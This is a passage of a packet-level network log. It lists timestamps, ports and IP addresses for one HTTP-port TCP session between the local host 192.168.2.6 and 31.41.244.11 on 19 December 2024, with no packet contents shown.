Dec 19, 2024 08:09:12.853373051 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.854408979 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.854459047 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.854502916 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.854561090 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.855603933 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.855659962 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.855760098 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.855814934 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.856807947 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.856859922 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.857036114 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.857084990 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.858057976 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.858118057 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.858138084 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.858167887 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.859252930 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.859265089 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.859333038 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.860421896 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.860481977 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.860493898 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.860544920 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.861578941 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.861630917 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.861716032 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.861993074 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.862813950 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.862966061 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.863017082 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.863991022 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.864002943 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.864082098 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.865153074 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.865231037 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.865298986 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.865349054 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.866512060 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.866527081 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.866584063 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.867711067 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.867722988 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.867818117 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.867851019 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.868711948 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.868788958 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.868846893 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.870059967 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.870071888 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.870135069 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.870156050 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.871186018 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.871205091 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.871265888 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.872421026 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.872431993 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.872479916 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.873466015 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.873584986 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.873620033 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.873671055 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.874722958 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.874783039 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.874880075 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.874941111 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.875880957 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.875940084 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.875986099 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.876018047 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.877075911 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.877142906 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.877196074 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.877255917 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.878262997 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.878314018 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.878371954 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.878413916 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.879458904 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.879496098 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.879520893 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.879553080 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.880645990 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.880749941 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.880749941 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.880961895 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.881825924 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.881877899 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.882080078 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.882137060 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.883054972 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.883116007 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.883130074 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.883172989 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.884231091 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.884284019 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.884324074 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.884370089 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.885445118 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.885509014 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.885529995 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.885570049 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.886606932 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.886662960 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.886663914 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.886775970 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.887806892 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.887924910 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.887976885 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.889039040 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.889098883 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.889111996 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.889172077 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.890239000 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.890300989 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.890382051 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.890490055 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.891392946 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.891448021 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.891486883 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.891535044 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.892692089 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.892703056 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.892782927 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.893779993 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.893882036 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.893937111 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.894973993 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.895051003 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.895086050 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.895138025 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.896177053 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.896229982 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.896275043 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.896323919 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.897434950 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.897475958 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.897502899 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.897533894 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.898576975 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.898641109 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.898730993 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.898848057 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.900096893 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.900202036 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.900250912 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.900250912 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.900953054 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.901017904 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.901036024 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.901066065 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.902124882 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.902245045 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.902275085 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.902308941 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.903350115 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.903403044 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.903445005 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.903523922 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.904517889 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.904623032 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.904658079 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.904824972 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.905709028 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.905781031 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.905890942 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.905945063 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.036169052 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.036183119 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.036263943 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.036653042 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.036916018 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.036971092 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.036973000 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.037024021 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.038155079 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.038218021 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.038230896 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.038275003 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.039268017 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.039278984 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.039345026 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.040576935 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.040587902 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.040647984 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.040682077 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.041747093 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.041758060 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.041815996 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.042943001 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.042953968 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.043010950 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.044017076 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.044090033 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.044167042 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.044250011 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.045275927 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.045288086 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.045344114 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.046430111 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.046473026 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.046518087 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.046550035 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.047641039 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.047733068 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.047759056 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.047806978 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.048790932 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.048856020 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.048913956 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.050004959 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.050071955 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.050182104 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.050304890 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.051187038 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.051197052 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.051251888 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.052469969 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.052480936 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.052526951 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.053657055 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.053668022 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.053911924 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.054759979 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.054770947 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.054832935 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.055963039 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.056113005 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.056149960 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.056232929 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.057128906 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.057188034 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.057393074 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.057445049 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.058334112 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.058391094 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.058666945 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.058721066 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.059621096 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.059668064 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.059701920 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.059722900 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.060714006 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.060837030 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.060883045 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.060946941 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.061933041 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.061968088 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.062005997 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.062040091 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.063122034 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.063224077 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.063287020 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.064337015 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.064372063 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.064429045 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.065403938 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.065577984 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.065644026 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.066653967 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.066875935 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.066915989 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.066946983 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.067823887 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.067941904 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.068011045 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.068063974 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.069026947 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.069114923 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.069169998 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.070247889 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.070282936 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.070322990 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.070344925 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.071357965 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.071418047 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.071504116 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.071557999 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.072597980 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.072685957 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.072709084 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.072923899 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.073873043 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.073908091 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.073940992 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.073971987 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.074923038 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.075011015 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.075128078 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.075184107 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.076174021 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.076256990 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.076275110 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.076328039 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.077294111 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.077378035 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.077447891 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.077502966 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.078485966 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.078581095 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.078600883 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.078655005 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.079715014 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.079780102 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.079813004 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.079869032 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.080964088 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.081000090 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.081027985 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.081058025 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.082132101 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.082185984 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.082199097 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.082246065 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.083364010 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.083431005 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.083462954 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.083513975 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.084454060 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.084574938 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.084604025 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.084661961 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.085720062 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.085755110 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.085844994 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.085844994 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.086867094 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.086927891 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.086935997 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.086992979 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.088001966 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.088071108 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.088119030 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.088151932 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.089323044 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.089417934 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.089458942 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.089489937 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.090714931 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.090749979 CET	80	49802	31.41.244.11	192.168.2.6
